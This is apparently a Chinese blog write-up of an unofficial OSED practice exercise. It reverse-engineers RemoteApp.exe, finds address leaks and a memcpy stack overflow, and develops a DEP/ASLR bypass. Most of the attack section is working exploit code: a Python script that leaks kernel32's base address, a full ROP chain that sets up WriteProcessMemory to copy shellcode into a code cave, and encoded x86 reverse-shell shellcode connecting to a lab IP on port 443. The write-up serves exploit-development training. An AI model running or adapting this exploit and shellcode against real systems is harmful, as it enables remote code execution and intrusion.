OSED非官方练习题RemoteApp.exe - shelldon

0x0dee 2024-03-06 07:14:52

RemoteApp.exe DEP+ASLR

文件链接Sh3lldon

0x01初步

  • 开放端口:9999 TCP

  • 加载的模块
    image-20240304142314844.png

  • 利用防护:DEP+ASLR

0x02逆向工程

0x01 同步windbg和ida64用于追踪输入数据

导入表缺失:
image-20240304143755106.png

发送0x1000个字节到目标程序,接收失败,但得到了recv函数的调用地址:
image-20240304144147262.png

在ida中发现目标程序使用UPX加了一个壳,在kali中使用upx -d RemoteApp.exe成功脱壳。

recv的len参数是0x4000,排除是buffer过大的原因。在recv被调用之前调用了puts输出了一个字符串,字符串表示在接收之前目标程序会先发送一些数据。
image-20240304145248678.png

在POC中发送之前接收到了一些字符串,但依然在目标程序中接收失败:
image-20240304145835550.png

回到ida,发现调用了两次send去发送数据到kali:
image-20240304150343127.png

buffer += b"A" * (bufferSize - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
recvbuf = s.recv(1024)
print(recvbuf)
recvbuf = s.recv(1024)
print(recvbuf)
s.send(buffer)
print("[+] send buffer " + hex(len(buffer)) + " bytes")
s.close()

0x02 寻找命令解析模块

输入buffer的第一个dword被用于“金丝雀”检查,用于检查是否为期望的数据,具体算法是“使用buffer大小值和buffer第一个dword是否异或得0x11223344“:
image-20240304151427886.png

第五个字节和第六个字节分别检查了是否为“A"和"B",然后就到达了opcode字段的检查分别调用不同的功能:
image-20240304153749664.png
image-20240304153931312.png

输入buffer的第六个字节起的dword被用作命令操作码,并没有四字节对齐:
image-20240304154044797.png

每个操作码被用于调用不同的函数从函数0到函数3,它们对应的操作码从0x383到0x0386:
image-20240304171014449.png

操作码 函数 功能
0x383 Function0 获得WS2_32的地址,并且发送到客户端(攻击方)
0x384 Function1 获得kernel32的地址,并且发送到客户端(攻击方)
0x385 Function2 获得main函数的地址,并且发送到客户端(攻击方)
0x386 Function3 将输入buffer复制到一个新空间

由以上信息,我们PoC中的buffer格式需要如下:

canary = pack("<L", bufferSize ^ 0x11223344) 
buffer = canary
buffer += b"\x41\x42" # 另外的canary检查
opcode = b""
buffer += opcode 
  1. canary0 = bufferSize xor 0x11223344
  2. canary1 = "AB"
  3. opcode = 0x382 - 0x386

0x03漏洞发现

不同的操作码会调用不同的函数,总共四个函数,0, 1 ,2 都包含了地址泄漏漏洞,3中调用了memcpy函数,含有一个栈溢出漏洞。

操作码 函数 功能
0x383 Function0 获得WS2_32的地址,并且发送到客户端(攻击方)
0x384 Function1 获得kernel32的地址,并且发送到客户端(攻击方)
0x385 Function2 获得main函数的地址,并且发送到客户端(攻击方)
0x386 Function3 将输入buffer复制到一个新空间

0x01漏洞分析:

一, Function0-2内存地址泄漏漏洞分析:

三个函数都类似,区别是它们会对比不同的模块名称字符串。

我们首先分析参数的传递:src中保存了输入buffer,并且通过Function0-2的第二个参数传入:

Function0:
image-20240305145544337.png

Function1的参数传递,与0和2相似:
image-20240305145108300.png

在Function1函数的起始处,在var_28开始的地方存入了KERNEL32.dll的字符串:
image-20240305150829023.png

接下来是是一个循环,它的作用是对比buffer+0x0A的位置是否保存了KERNEL32.dll字符串,若没有对比成功会发送给客户端一个“Not correct dll”信息:
image-20240305150929659.png

接下来使用GetModuleHandle API去获得KERNEL32.dll被加载到内存的地址,并且最终通过send函数发送给客户端:
image-20240305151303529.png
image-20240305151228819.png

Function1和Function2也是同样的流程,不再赘述。

二,Function3栈溢出漏洞分析

buffer被传递到第一个参数:
image-20240305151726928.png

栈溢出很直观,使用memcpy复制了0x4000个内存空间,而在栈空间中用于接收buffer的内存块指针是用ebp-0x7d8开始的,这意味着0x7d8个字节就可以覆盖函数返回地址,当Function3返回时客户端(攻击方)发送的输入buffer将控制eip寄存器,从而控制CPU执行流。
image-20240305151706104.png

三,函数位置总览

image-20240304165051773.png

由于整个程序包括加载的模块都编译了ASLR,我们可以使用任意一个地址泄漏漏洞去在栈溢出漏洞中绕过DEP和ASLR,并且获得系统任意代码执行shell。

每个地址泄漏漏洞分别会泄漏不同的模块地址,并且栈溢出漏洞使用的是memcpy函数,这意味着很可能不包含任何坏字符,所以RemoteApp.exe也是一个gadget源的选项。
image-20240304170431116.png

kernel32模块一共0x98000个字节,ws2_32一共0x67000个字节,我们使用kernel32可以获得最多的gadget。

PoC触发栈溢出和内存地址泄漏漏洞:

  1. PoC

PoC分为两个阶段,第一个阶段使用操作码0x383去获得kernerl32.dll在内存中的基地址,并且将接收到的bytes格式的地址数据解析成int类型用于后续RoP等地址计算;第二个阶段使用操作码0x386去触发栈溢出,并且成功控制eip和esp指向的区域。

在PoC中,第一阶段的函数为getAddress(),第二阶段为exploit(),并且fixAddress()用于将rp++输出的以kernel32.dll在文件系统上的基地址转换成实际在内存中的地址,用于rop编写。

  1. 地址泄漏
    image-20240305110534806.png

  2. 栈溢出
    image-20240305110430338.png

触发漏洞的PoC:

#! /bin/python3

import os
import sys
import socket
from struct import pack

###
#   RemoteApp.exe DEP+ASLR
###

host = "192.168.31.117"
port = 9999

buffer = b''
# offset : eip = , esp =  

def getAddress ():

    buffer1Size = 0x40
    canary = pack("<L", buffer1Size ^ 0x11223344) 
    buffer1 = canary
    buffer1 += b"\x41\x42"      # 另外的canary检查
    opcode = pack("<L", 0x384)  # get address of kernel32
    buffer1 += opcode 
    buffer1 += b"KERNEL32.dll"
    buffer1 += b"A" * (buffer1Size - len(buffer1))

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    print("[ ] recv buffer from RemoteApp.exe : \r\n")
    recvbuf = s.recv(1024)
    print(recvbuf)
    recvbuf = s.recv(1024)
    print(recvbuf)
    s.send(buffer1)
    recvbuf = s.recv(1024)
    print(recvbuf)
    recvbuf = s.recv(1024)
    print(recvbuf)
    addressIndex = recvbuf.find(b": ")
    address = int(recvbuf[addressIndex+2:addressIndex+2+8], 16)
    s.close()
    print("")
    return address

def fixAddress(baseAddress, _address):
    fileBaseAddress = 0x68900000
    _address = _address - fileBaseAddress
    address = _address + baseAddress

    return pack("<L", address)


def exploit():
    print("")
    bufferSize = 0x1c84
    canary = pack("<L", bufferSize ^ 0x11223344) 
    buffer = canary
    buffer += b"\x41\x42"      # 另外的canary检查
    opcode = pack("<L", 0x386) # stack overflow
    buffer += opcode 

    buffer += b"A" * (bufferSize - len(buffer))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    print("[ ] recv buffer from RemoteApp.exe :")
    recvbuf = s.recv(1024)
    print(recvbuf)
    recvbuf = s.recv(1024)
    print(recvbuf)
    s.send(buffer)
    print("[ ] send evil buffer " + hex(len(buffer)) + " bytes")
    s.close()

print("[1] Get address of kerner32.dll using opcode 900 :")
baseAddress = getAddress()
print("[+] kernerl32.dll address : " + hex(baseAddress))
print("")
print("######################################")
print("[2] Send venom buffer to get shell :")
exploit()
print("[+] done! ")

0x04 利用开发

0x00 组合两个漏洞

为了在栈溢出中绕过ASLR和DEP,我们需要获得目标程序某个模块运行时的地址,而rp++输出的地址是模块PE中的默认加载地址(kernel32.dll默认地址为0x68900000),我们需要一个函数去将默认地址转换为实际运行地址,fixAddress做了这个工作:

def fixAddress(baseAddress, _address):
    fileBaseAddress = 0x68900000
    _address = _address - fileBaseAddress
    address = _address + baseAddress

    return pack("<L", address)

函数的第一个参数传入利用漏洞获得的kernel32的内存基地址,第二个参数传入RoP的文件默认地址,它将返回在运行时的RoP地址。

0x01 偏移检查

image-20240305143536681.png
image-20240305143659174.png
image-20240305143714075.png

  • eip offset = 0n2002
  • esp offset = 0n2006

0x02 坏字符检查

image-20240305144459727.png

  • 没有任何坏字符。

0x03 RoP编写

  1. 获得WriteProcessMemory地址:

由于gadgets是用的kernel32.dll,可以直接得到WriteProcessMemory的调用地址:
image-20240305185807414.png

我们需要的调用WPM结构如下:

名称 说明
WriteProcessMemory调用地址 0x689440a0 调用WirteProcessMemory API
返回地址 代码段中的地址 在WirteProcessMemory运行成功并且返回后会直接运行这个地址的shellcode
hProcess -1 表示需要写入的进程,-1表示当前进程
lpBaseAddress 代码段中的地址 将shellcode写入的目的地址,代码段具有可执行权限和读权限
lpBuffer 调用结构+0x44位置 栈中的shellcode地址,即复制的原地址
nSize 0x210 复制的大小
[OUT] lpNumbelOfBytesWritten 数据段可写的地址 用于存放WirteProcessMemory的返回内容,如果不可写将会调用失败
  1. 代码洞地址-lpBaseAddress返回地址

使用!dh -s kernel32查看代码段地址:
image-20240305190925302.png

计算和检查代码段分配的内存块末尾的代码洞:
image-20240305190853059.png

计算在内存中的偏移后并且计算在文件中的默认地址,用于rop编写,计算得0x68985de0
image-20240305191152801.png

  1. 可写地址-[OUT] lpNumbelOfBytesWritten参数

使用!dh -s kernel32查看数据段可写的地址:
image-20240305193922017.png

寻找为零的地址空间,并且再次验证内存权限是否可读:
image-20240305193851076.png

现在有了调用结构的所有预备参数:

名称 说明
WriteProcessMemory调用地址 0x689440a0 调用WirteProcessMemory API
返回地址 0x68985de0 在WirteProcessMemory运行成功并且返回后会直接运行这个地址的shellcode
hProcess -1 表示需要写入的进程,-1表示当前进程
lpBaseAddress 0x68985de0 将shellcode写入的目的地址,代码段具有可执行权限和读权限
lpBuffer 调用结构+0x44位置 栈中的shellcode地址,即复制的原地址
nSize 0x210 复制的大小
[OUT] lpNumbelOfBytesWritten 0x68986FE0 用于存放WirteProcessMemory的返回内容,如果不可写将会调用失败

除了lpBuffer需要动态计算外,其他参数都可以静态放置。但作为练习目的,我们全部使用RoP动态计算。

Get shell 截图:

image-20240306004537115

0x05 Get shell PoC

#! /bin/python3

import os
import sys
import socket
from struct import pack

###
#   RemoteApp.exe DEP+ASLR
###

host = "192.168.31.117"
port = 9999

# offset : eip = 2002 + 12 , esp = 2006 + 12  
# badchars : 

def getAddress ():

    buffer1Size = 0x40
    canary = pack("<L", buffer1Size ^ 0x11223344) 
    buffer1 = canary
    buffer1 += b"\x41\x42"      # 另外的canary检查
    opcode = pack("<L", 0x384)  # get address of kernel32
    buffer1 += opcode 
    buffer1 += b"KERNEL32.dll"
    buffer1 += b"A" * (buffer1Size - len(buffer1))

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    print("[ ] recv buffer from RemoteApp.exe : \r\n")
    recvbuf = s.recv(1024)
    print(recvbuf)
    recvbuf = s.recv(1024)
    print(recvbuf)
    s.send(buffer1)
    recvbuf = s.recv(1024)
    print(recvbuf)
    recvbuf = s.recv(1024)
    print(recvbuf)
    addressIndex = recvbuf.find(b": ")
    address = int(recvbuf[addressIndex+2:addressIndex+2+8], 16)
    s.close()
    print("")
    return address

def fixAddress(baseAddress, _address):
    fileBaseAddress = 0x68900000
    _address = _address - fileBaseAddress
    address = _address + baseAddress

    print(hex(address))

    return pack("<L", address)

def rop(baseAddress):
    ropbuf = b""
    ### call address of WPM 
    ropbuf += fixAddress(baseAddress, 0x68971cdd) # push esp ; pop esi ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x689735c4) # mov eax, esi ; pop esi ; ret  ;
    ropbuf += pack("<L", 0xfffffe00) # # -0x200 (-0n512) pop to esi
    ropbuf += fixAddress(baseAddress, 0x68952935) # sub eax, esi ; pop esi ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += fixAddress(baseAddress, 0x6891a93c) # mov ecx, eax ; mov eax, ecx ; pop ebp ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x689440a0) # # WPM address
    ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
    ropbuf += pack("<L", 0xffffffff) # #

    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # # for retn 0x04
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x68985de0) # # return address = shellcode (code cave)
    ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
    ropbuf += pack("<L", 0xffffffff) # #

    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # # -1
    ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
    ropbuf += pack("<L", 0xffffffff) # #

    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x68985de0) # # lpBaseAddress = code cave
    ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
    ropbuf += pack("<L", 0xffffffff) # #

    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6891e040) # mov eax, ecx ; ret  ; 
    ropbuf += fixAddress(baseAddress, 0x68971cde) # pop esi ; ret  ;
    ropbuf += pack("<L", 0xffffffe0) # # -0x20
    ropbuf += fixAddress(baseAddress, 0x68952935) # sub eax, esi ; pop esi ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += fixAddress(baseAddress, 0x6891e095) # xchg eax, edi ; retn 0x0001 ;
    ropbuf += fixAddress(baseAddress, 0x689541da) # mov edx, edi ; mov eax, esi ; pop edi ; pop esi ; pop ebp ; retn 0x0010 ;
    ropbuf += b"\xff"  # for retn 0x01
    ropbuf += pack("<L", 0xffffffff) # # for pop edi
    ropbuf += pack("<L", 0xffffffff) # # for pop esi
    ropbuf += pack("<L", 0xffffffff) # # for pop ebp
    ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;

    ropbuf += pack("<L", 0xffffffff) # # for pop ebp
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # # for retn 0x04
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret  ;
    ropbuf += pack("<L", 0x00000220) # # 0x200
    ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
    ropbuf += pack("<L", 0xffffffff) # #

    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x68986fe0) # # writable address
    ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
    ropbuf += pack("<L", 0xffffffff) # #

    ropbuf += fixAddress(baseAddress, 0x68971cde) # pop esi ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += pack("<L", 0x00000018) # # 0x18 , 0n24
    ropbuf += fixAddress(baseAddress, 0x6891e040) # mov eax, ecx ; ret  ; 
    ropbuf += fixAddress(baseAddress, 0x68952935) # sub eax, esi ; pop esi ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # #
    ropbuf += fixAddress(baseAddress, 0x68979884) # xchg eax, esp ; ret  ;  


    ####
    #0x68914b08: mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
    #0x689160bf: mov ecx, dword [edx] ; sub eax, ecx ; ret  ;
    #0x68955f5e: mov eax, dword [eax] ; mov esp, ebp ; pop ebp ; retn 0x0008 ;
    #0x6891e040: mov eax, ecx ; ret  ; 
    #0x68921eb7: mov eax, edx ; ret  ; 
    #0x689737ac: xchg eax, ebp ; ret  ;
    #0x6891e095: xchg eax, edi ; retn 0x0001 ;
    #0x6891a93c: mov ecx, eax ; mov eax, ecx ; pop ebp ; ret  ;
    #0x68970cf3: push edx ; mov eax, 0xE58BFFFB ; pop ebp ; ret  ;
    #0x68959c00: push ebx ; pop edi ; pop esi ; pop ebx ; pop ebp ; retn 0x000C ;

    return  ropbuf



def exploit(baseAddress):
    print("")
    bufferSize = 0x1c84
    canary = pack("<L", bufferSize ^ 0x11223344) 
    buffer = canary
    buffer += b"\x41\x42"      # 另外的canary检查
    opcode = pack("<L", 0x386) # stack overflow
    buffer += opcode 

    offsetOfEIP = b"B" * 2002 

    ropbuf = rop(baseAddress)

    buffer += offsetOfEIP + ropbuf
    print("[ ] rop size : " + hex(len(ropbuf)))

    offsetOfshellcode = b"\x90" * (0x200 - len(ropbuf) + 0x20 + 0x20)

    # └─$ python win_x86_shellcoder.py  reverse -i 192.168.31.3 -p 443     
    # shellcode size: 0x151 (337)
    shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebN\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cV\x8b^\x08\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18\x8bG \x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x02\x01\xc2\xeb\xf4\xeb)^\x8b6\xeb\xbd;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89D$ ^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8Ph32.DhWS2_Thhz\xc4v\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\x96 \x9e\xcc\xffU\x041\xc0PPP\xb0\x06P,\x05P@Phf ^\x81\xffU\x04\x89\xc61\xc0PPh\xc0\xa8\x1f\x03f\xb8\x01\xbb\xc1\xe0\x10f\x83\xc0\x02PT_1\xc0PPPP\x04\x10PWVh\x95 ^W\xffU\x04VVV1\xc0\x8dH\rP\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8Phcmd.\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh\xc7(\xaa\x0b\xffU\x041\xc9Qj\xffh\xd2U\xa9.\xffU\x04'

    buffer += offsetOfshellcode + shellcode

    buffer += b"A" * (bufferSize - len(buffer))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    print("[ ] recv buffer from RemoteApp.exe :")
    recvbuf = s.recv(1024)
    print(recvbuf)
    recvbuf = s.recv(1024)
    print(recvbuf)
    s.send(buffer)
    recvbuf = s.recv(1024)
    print(recvbuf)
    recvbuf = s.recv(1024)
    print(recvbuf)
    print("[ ] send evil buffer " + hex(len(buffer)) + " bytes")
    s.close()

print("### [1] Get address of kerner32.dll using opcode 900 : ###") 
baseAddress = getAddress()
print("[+] kernerl32.dll address : " + hex(baseAddress))
print("")
print("### [2] Send venom buffer to get shell : ###")
exploit(baseAddress)
print("### [+] done! ###")

评论

0

0x0dee

这个人很懒,没有留下任何介绍

随机分类

木马与病毒 文章:125 篇
Python安全 文章:13 篇
业务安全 文章:29 篇
神器分享 文章:71 篇
数据安全 文章:29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录